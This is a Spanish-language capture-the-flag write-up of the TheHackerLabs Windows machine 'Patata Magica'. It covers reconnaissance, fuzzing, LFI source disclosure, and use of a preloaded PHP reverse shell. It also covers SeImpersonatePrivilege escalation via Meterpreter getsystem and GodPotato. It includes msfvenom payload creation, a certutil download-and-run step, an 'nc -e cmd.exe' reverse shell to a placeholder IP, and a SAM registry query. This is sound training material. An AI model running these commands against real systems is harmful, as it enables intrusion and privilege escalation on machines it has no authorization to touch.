Patata Magica - TheHackerLabs

Esta fue una máquina un poco complicada. Después de analizar los escaneos, pasamos directamente a analizar la página web activa en el puerto 80. Ahí podemos identificar una página que es vulnerable a Local File Inclusion (LFI). Además, después de aplicar Fuzzing, identificamos una página que permite subir archivos, siendo que tiene un archivo precargado que resulta ser una Reverse Shell. Utilizamos esa Reverse Shell para ganar acceso principal a la máquina víctima. Revisando los privilegios, vemos que tenemos el SeImpersonatePrivilege, lo que nos permite escalar privilegios de dos formas, siendo la primera usando el comando getsystem de Meterpreter y la segunda usando la herramienta God Potato, siendo así que completamos la máquina.

Herramientas utilizadas:

  • ping
  • nmap
  • arp-scan
  • wappalizer
  • ffuf
  • gobuster
  • BurpSuite
  • Intruder
  • rlwrap
  • nc
  • whoami
  • systeminfo
  • msfvenom
  • python3
  • certutil.exe
  • Metasploit Framework (msfconsole)
  • Módulo: exploit/multi/handler
  • getsystem
  • shell
  • type
  • GodPotato-NET2.exe
  • echo
  • reg query






Recopilación de Información


Descubrimiento de Hosts

Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.

Lo haremos primero con nmap:

nmap -sn 192.168.100.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 12:46 -0600
...
MAC Address: XX (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up (0.0012s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.10 seconds

Vamos a probar la herramienta arp-scan:

arp-scan -I eth0 -g 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.4	XX:XX:XX:XX:XX:XX	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.211 seconds (115.78 hosts/sec). 3 responded

Encontramos nuestro objetivo y es: 192.168.56.4.


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.56.4
PING 192.168.56.4 (192.168.56.4) 56(84) bytes of data.
64 bytes from 192.168.56.4: icmp_seq=1 ttl=128 time=6.86 ms
64 bytes from 192.168.56.4: icmp_seq=2 ttl=128 time=1.16 ms
64 bytes from 192.168.56.4: icmp_seq=3 ttl=128 time=1.08 ms
64 bytes from 192.168.56.4: icmp_seq=4 ttl=128 time=0.860 ms

--- 192.168.56.4 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3035ms
rtt min/avg/max/mdev = 0.860/2.489/6.861/2.526 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.56.4 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 14:53 -0600
Initiating ARP Ping Scan at 14:53
Scanning 192.168.56.4 [1 port]
Completed ARP Ping Scan at 14:53, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:53
Scanning 192.168.56.4 [65535 ports]
Discovered open port 135/tcp on 192.168.56.4
Discovered open port 80/tcp on 192.168.56.4
Discovered open port 445/tcp on 192.168.56.4
Discovered open port 443/tcp on 192.168.56.4
Discovered open port 139/tcp on 192.168.56.4
Discovered open port 7680/tcp on 192.168.56.4
Discovered open port 47001/tcp on 192.168.56.4
Discovered open port 49668/tcp on 192.168.56.4
Discovered open port 49667/tcp on 192.168.56.4
Discovered open port 49664/tcp on 192.168.56.4
Discovered open port 5040/tcp on 192.168.56.4
Discovered open port 49669/tcp on 192.168.56.4
Discovered open port 49666/tcp on 192.168.56.4
Discovered open port 49665/tcp on 192.168.56.4
Discovered open port 49670/tcp on 192.168.56.4
Discovered open port 5985/tcp on 192.168.56.4
Completed SYN Stealth Scan at 14:53, 19.90s elapsed (65535 total ports)
Nmap scan report for 192.168.56.4
Host is up, received arp-response (0.0068s latency).
Scanned at 2026-01-24 14:53:12 CST for 20s
Not shown: 51810 closed tcp ports (reset), 13709 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
80/tcp    open  http         syn-ack ttl 128
135/tcp   open  msrpc        syn-ack ttl 128
139/tcp   open  netbios-ssn  syn-ack ttl 128
443/tcp   open  https        syn-ack ttl 128
445/tcp   open  microsoft-ds syn-ack ttl 128
5040/tcp  open  unknown      syn-ack ttl 128
5985/tcp  open  wsman        syn-ack ttl 128
7680/tcp  open  pando-pub    syn-ack ttl 128
47001/tcp open  winrm        syn-ack ttl 128
49664/tcp open  unknown      syn-ack ttl 128
49665/tcp open  unknown      syn-ack ttl 128
49666/tcp open  unknown      syn-ack ttl 128
49667/tcp open  unknown      syn-ack ttl 128
49668/tcp open  unknown      syn-ack ttl 128
49669/tcp open  unknown      syn-ack ttl 128
49670/tcp open  unknown      syn-ack ttl 128
MAC Address: XX (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds
           Raw packets sent: 98198 (4.321MB) | Rcvd: 51827 (2.073MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.


Vemos varios puertos abiertos, pero los de interés para nosotros sería el puerto 80, 135, 443, 445 y 5985.


Escaneo de Servicios

nmap -sCV -p 80,135,139,443,445,5040,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670 192.168.56.4 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 14:54 -0600
Nmap scan report for 192.168.56.4
Host is up (0.0026s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Curiosidades CTF
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_ssl-date: TLS randomness does not represent time
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Curiosidades CTF
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
MAC Address: XX (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-01-24T21:05:26
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: 8m05s
|_nbstat: NetBIOS name: PATATA-MAGICA, NetBIOS user: <unknown>, NetBIOS MAC: XX (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.26 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.


Vemos varias cosas gracias a este escaneo:

  • La página web activa en el puerto 80 está usando Apache2 y PHP.
  • La página web activa en el puerto 443 tiene lo mismo que la del puerto 80.
  • El servicio SMB necesita credenciales válidas, aunque no son necesarias para leer los archivos compartidos.

Primero, analicemos la página web activa del puerto 80.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Parece ser una página dedicada a juegos matematicos.

Veamos qué nos dice Wappalizer:

Como lo mencionaba, se está utilizando Apache2 y PHP, algo que nos puede ayudar más adelante.

Revisando una de las páginas que podemos visitar, parece que hay una que muestra archivos de texto con contenido curioso:

Observa que al escoger cualquier archivo, la página utiliza el parámetro file= y luego el nombre del archivo para mostrar su contenido:

Esto puede ser un indicio de una vulnerabilidad, pues si podemos apuntar a otros archivos dentro o fuera del path donde se almacenan los archivos de la página web, estaríamos ante un LFI o Directory Traversal.

Además, nos dejan una pista de esto en el archivo de texto videojuegos.txt:

Antes de probar cualquier cosa, apliquemos Fuzzing por si encontramos algo oculto.


Fuzzing

Primero probemos con la herramienta ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt:FUZZ -u http://192.168.56.4/FUZZ -t 300 -mc 200,301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.4/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200,301
________________________________________________

uploads                 [Status: 301, Size: 338, Words: 22, Lines: 10, Duration: 402ms]
Uploads                 [Status: 301, Size: 338, Words: 22, Lines: 10, Duration: 2ms]
UPLOADS                 [Status: 301, Size: 338, Words: 22, Lines: 10, Duration: 90ms]
favicon.ico             [Status: 200, Size: 199139, Words: 760, Lines: 652, Duration: 7ms]
index.php               [Status: 200, Size: 4241, Words: 306, Lines: 100, Duration: 62ms]
robots.txt              [Status: 200, Size: 223, Words: 36, Lines: 3, Duration: 26ms]
.                       [Status: 200, Size: 4241, Words: 306, Lines: 100, Duration: 48ms]
UpLoads                 [Status: 301, Size: 338, Words: 22, Lines: 10, Duration: 43ms]
:: Progress: [128623/128623] :: Job [1/1] :: 216 req/sec :: Duration: [0:02:54] :: Errors: 929 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-mc Para aplicar un flitro que solo muestra resultados con un código de estado especifico.


Ahora probemos con gobuster:

gobuster dir -u http://192.168.56.4 -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -t 300 --ne
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.4
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
uploads              (Status: 301) [Size: 338] [--> http://192.168.56.4/uploads/]
favicon.ico          (Status: 200) [Size: 199139]
index.php            (Status: 200) [Size: 4241]
robots.txt           (Status: 200) [Size: 223]
examples             (Status: 503) [Size: 401]
UpLoads              (Status: 301) [Size: 338] [--> http://192.168.56.4/UpLoads/]
...
Progress: 128623 / 128623 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
–ne Para que no muestre errores.


Encontramos un directorio llamado /uploads, pero al visitarlo, veremos lo siguiente:

Pero si vemos el código fuente, nos darán una pista clara:

Tenemos que aplicar LFI.

Por último, haremos Fuzzing para encontrar archivos PHP:

ffuf -w /usr/share/wordlists/seclists/Miscellaneous/lang-spanish.txt -u http://192.168.56.4/FUZZ -t 300 -mc 200,301 -e .php

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.4/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Miscellaneous/lang-spanish.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200,301
________________________________________________

juegos.php              [Status: 200, Size: 7539, Words: 2775, Lines: 226, Duration: 9ms]
subida.php              [Status: 200, Size: 3235, Words: 737, Lines: 59, Duration: 57ms]
articulos.php           [Status: 200, Size: 3596, Words: 337, Lines: 70, Duration: 1030ms]
:: Progress: [882/882] :: Job [1/1] :: 87 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-mc Para aplicar un flitro que solo muestra resultados con un código de estado especifico.
-e Para indicar una busqueda de archivos específicos.


Encontramos una página, así que veámosla:

Con esta página podemos subir archivos y podemos ver que ya hay uno que parece ser una Reverse Shell.

Analicemos esta página.


Analizando Página de Subida de Archivos

Si subimos un archivo, vemos que aparece dentro de la lista de archivos que se subieron:

Al ver esto, puede que se acepten archivos PHP, lo que nos permitiría cargar una Reverse Shell de PHP y así ganar acceso a la máquina.

Pero al intentar subir uno, nos sale un mensaje de error:

Puede que tenga implementadas listas negras o blancas, que evitan subir ciertas extensiones, por lo que podemos averiguar cuáles acepta si aplicamos un Sniper Attack con BurpSuite.


Aplicando Sniper Attack para Identificar Archivos Permitidos por la Página subida.php

Primero, captura la petición de subida de archivo y mándala al Intruder:

Selecciona el nombre de la extensión del archivo que subiste y da clic en el botón Add, esto para que quede seleccionada como posición de payload:

Para el payload, le pedí a ChatGPT que creara un wordlist con extensiones de PHP para identificar si acepta alguna en específico.

Una vez tengas el wordlist, puedes copiarlo y pegarlo con el botón Paste o lo puedes guardar en un archivo y cargarlo con el botón Load:

Podemos probar otras extensiones, pero enfoquémonos en PHP que es el lenguaje que utiliza la página web.

Agregaremos un filtro desde la pestaña Settings, ahí baja a la sección Grep - Match, dale al botón Clear para eliminar los filtros ya agregados y añade el texto que sale cuando un archivo es aceptado:

Ejecuta el ataque con el botón Start Attack y observa todas las opciones que sí acepta la página:

Ahora sí, probemos primero el LFI y después, veamos si podemos cargar una Reverse Shell con alguna de las extensiones que sí acepta.




Explotación de Vulnerabilidades


Aplicando Local File Inclusion (LFI) para Analizar el Código Fuente de Cada Página y Ganando Acceso a la Máquina Víctima

Podemos probar si este parámetro nos permite ver el código completo de cada página que hemos visto.

Probemos con la página actual:

Observa que ahí mismo se menciona que la página actual es vulnerable a LFI.

Si revisamos la página index.php, encontraremos unas líneas de código ocultas:

Nos indican que son contraseñas.

Podemos probarlas con netexec para saber si funcionan con el servicio SMB o con el servicio WinRM, pero caeríamos en un Rabbit Hole.

Revisemos la página subida.php:

Ahí vemos una lista negra de extensiones y de extensiones dobles que no se aceptan. También vemos algunas otras restricciones que nos complicarían el intentar subir una Reverse Shell.

Por último, veamos el archivo revershell.php que ya estaba precargado:

Esta Reverse Shell sirve cuando le pasamos los parámetros ip y port desde la URL.

Para probarla, levanta un listener usando rlwrap y luego netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...

Dale tu IP y el puerto que utilizaste a la ruta directa del archivo revershell.php:

Observa la netcat:

rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.56.4] 49674

PS C:\xampp\htdocs\uploads> whoami
patata-magica\www-data

Estamos dentro, pero aún no podremos ver la flag del usuario.




Post Explotación


Abusando del Privilegio SeImpersonatePrivilege para Escalar Privilegios (Meterpreter Getsystem Command)

Veamos qué privilegios tiene nuestro usuario:

PS C:\xampp\htdocs\uploads> whoami /priv

INFORMACI?N DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci?n                                  Estado       
============================= ============================================ =============
SeShutdownPrivilege           Apagar el sistema                            Deshabilitado
SeChangeNotifyPrivilege       Omitir comprobaci?n de recorrido             Habilitada   
SeUndockPrivilege             Quitar equipo de la estaci?n de acoplamiento Deshabilitado
SeImpersonatePrivilege        Suplantar a un cliente tras la autenticaci?n Habilitada   
SeCreateGlobalPrivilege       Crear objetos globales                       Habilitada   
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
SeTimeZonePrivilege           Cambiar la zona horaria                      Deshabilitado

Excelente, tenemos el privilegio SeImpersonatePrivilege, por lo que la máquina es vulnerable al uso de Juicy Potato.

Veamos la versión de Windows que se está utilizando:

PS C:\xampp\htdocs\uploads> systeminfo

Nombre de host:                            PATATA-MAGICA
Nombre del sistema operativo:              Microsoft Windows 10 Enterprise LTSC Evaluation
Versi?n del sistema operativo:             10.0.19044 N/D Compilaci?n 19044
Fabricante del sistema operativo:          Microsoft Corporation
...

Es la versión Windows 10 Enterprise.

Esto es importante por si tenemos que utilizar un dato extra en el ataque.

Sin embargo, al intentar utilizar Juicy Potato, no parece funcionar, por lo que debemos buscar otra manera de escalar privilegios.

Algo que podemos hacer es obtener una sesión de Meterpreter para utilizar el módulo post/multi/recon/local_exploit_suggester y así identificar un Exploit que podamos usar.

Para esto, vamos a crear una Reverse Shell con msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Tu_IP LPORT=4444 -a x64 -f exe -o revShell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7680 bytes
Saved as: revShell.exe

Abre un servidor con Python:

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Te recomiendo crear un directorio propio o puedes guardar el archivo desde donde quieras.

Descarga el binario con certutil.exe:

PS C:\Temp> certutil.exe -urlcache -split -f http://Tu_IP/revShell.exe revShell.exe
****  En l?nea  ****
  0000  ...
  0633
CertUtil: -URLCache comando completado correctamente.

Ahora, inicia Metasploit Framework y configura el módulo exploit/multi/handler:

msfconsole -q
[*] Starting persistent handler(s)...
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set LHOST Tu_IP
LHOST => Tu_IP
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on Tu_IP:4444

Ejecuta el binario que es la Reverse Shell:

PS C:\Temp> .\revShell.exe

Observa Metasploit:

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on Tu_IP:4444 
[*] Sending stage (230982 bytes) to 192.168.56.4
[*] Meterpreter session 9 opened (Tu_IP:4444 -> 192.168.56.4:49691) at 2026-01-25 04:44:36 -0600

meterpreter > getuid
Server username: PATATA-MAGICA\www-data
meterpreter > sysinfo
Computer        : PATATA-MAGICA
OS              : Windows 10 21H2 (10.0 Build 19044).
Architecture    : x64
System Language : es_ES
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Muy bien, ya tenemos nuestra sesión de Meterpreter.

Como tenemos el privilegio SeImpersonatePrivilege, es posible que podamos escalar privilegios rápidamente solo usando el comando getsystem, ya que este abusa de ese privilegio para convertirse en Administrador de la máquina, similar a lo que hace Juicy Potato:

meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Excelente, pudimos escalar privilegios.

Activa una shell y obtengamos las flags:

meterpreter > shell
Process 4996 created.
Channel 1 created.
Microsoft Windows [Versi�n 10.0.19044.1288]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Temp>
C:\Temp>type C:\Users\Hacker\Desktop\User.txt
type C:\Users\Hacker\Desktop\User.txt
...
C:\Temp>type C:\Users\Administrador\Desktop\Root.txt
type C:\Users\Administrador\Desktop\Root.txt
...

Con esto, terminamos la máquina.


Abusando del Privilegio SeImpersonatePrivilege con God Potato para Escalar Privilegios

Una opción viable y más moderna es utilizar la versión God Potato para abusar del privilegio SeImpersonatePrivilege y así escalar privilegios.

Lo puedes descargar aquí:

Yo utilicé la versión NET2.

Una vez que lo descargues, envíalo a la máquina víctima usando un servidor de Python y certutil.exe.

Probemos si se ejecuta el God Potato:

PS C:\Temp> .\GodPotato-NET2.exe
                                                                                               
    FFFFF                   FFF  FFFFFFF                                                       
   FFFFFFF                  FFF  FFFFFFFF                                                      
  FFF  FFFF                 FFF  FFF   FFF             FFF                  FFF                
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF                
  FFF   FFF                 FFF  FFF   FFF             FFF                  FFF                
 FFFF        FFFFFFF   FFFFFFFF  FFF   FFF  FFFFFFF  FFFFFFFFF   FFFFFF  FFFFFFFFF    FFFFFF   
 FFFF       FFFF FFFF  FFF FFFF  FFF  FFFF FFFF FFFF   FFF      FFF  FFF    FFF      FFF FFFF  
 FFFF FFFFF FFF   FFF FFF   FFF  FFFFFFFF  FFF   FFF   FFF      F    FFF    FFF     FFF   FFF  
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF         FFFFF    FFF     FFF   FFFF 
 FFFF   FFF FFF   FFFFFFF   FFF  FFF      FFFF   FFF   FFF      FFFFFFFF    FFF     FFF   FFFF 
  FFF   FFF FFF   FFF FFF   FFF  FFF       FFF   FFF   FFF     FFFF  FFF    FFF     FFF   FFFF 
  FFFF FFFF FFFF  FFF FFFF  FFF  FFF       FFF  FFFF   FFF     FFFF  FFF    FFF     FFFF  FFF  
   FFFFFFFF  FFFFFFF   FFFFFFFF  FFF        FFFFFFF     FFFFFF  FFFFFFFF    FFFFFFF  FFFFFFF   
    FFFFFFF   FFFFF     FFFFFFF  FFF         FFFFF       FFFFF   FFFFFFFF     FFFF     FFFF    


Arguments:

	-cmd Required:True CommandLine (default cmd /c whoami)

Example:

GodPotato -cmd "cmd /c whoami" 
GodPotato -cmd "cmd /c whoami"

Genial, funciona.

Probemos si funciona la ejecución de comandos:

PS C:\Temp> .\GodPotato-NET2.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140728765054976
[*] DispatchTable: 0x140728767509496
[*] UseProtseqFunction: 0x140728766841264
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\d55b38a5-7704-47e9-a2bd-8717d5e77f2b\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000cc02-06e8-ffff-6ea9-d30e843cacd8
[*] DCOM obj OXID: 0xb5568d0d78cffca9
[*] DCOM obj OID: 0xf5ff27142026b657
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\Servicio de red
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 800 Token:0x312  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4376

Muy bien, sí parece estar funcionando.

Abre un listener usando rlwrap y luego netcat:

rlwrap nc -nlvp 1337
listening on [any] 1337...

Usa la Reverse Shell que se muestra en el repositorio:

PS C:\Temp> .\GodPotato-NET2.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe Tu_IP 1337"

Observa la netcat:

nc -nlvp 1337
listening on [any] 1337 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.56.4] 49689
Microsoft Windows [Versi�n 10.0.19044.1288]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>

Aunque el comando whoami no parece funcionar, podemos hacer unas cuantas pruebas para ver si realmente somos el Administrador, por ejemplo, crear un archivo en algún directorio de uso exclusivo del Administrador:

C:\>echo pwned > C:\Windows\System32\proof.txt
echo pwned > C:\Windows\System32\proof.txt

C:\>type C:\Windows\System32\proof.txt
type C:\Windows\System32\proof.txt
pwned

Otra opción es tratar de leer el SAM, pero aunque no muestre nada, si no da el mensaje Acceso Denegado, quiere decir que somos el Administrador:

C:\>reg query HKLM\SAM
reg query HKLM\SAM

HKEY_LOCAL_MACHINE\SAM\SAM

Por último, la mejor prueba sería tratar de ver el contenido de directorios a los que tiene acceso el Administrador, en este caso, podemos probar si vemos las flags:

C:\>type C:\Users\Hacker\Desktop\User.txt
type C:\Users\Hacker\Desktop\User.txt
...
C:\>type C:\Users\Administrador\Desktop\Root.txt
type C:\Users\Administrador\Desktop\Root.txt
...

Y con esto, terminamos la máquina.



  • https://github.com/danielmiessler/SecLists/releases/tag/2025.3
  • https://github.com/danielmiessler/SecLists/pull/1199
  • https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro/
  • https://github.com/BeichenDream/GodPotato
  • https://medium.com/@iamkumarraj/godpotato-empowering-windows-privilege-escalation-techniques-400b88403a71


FIN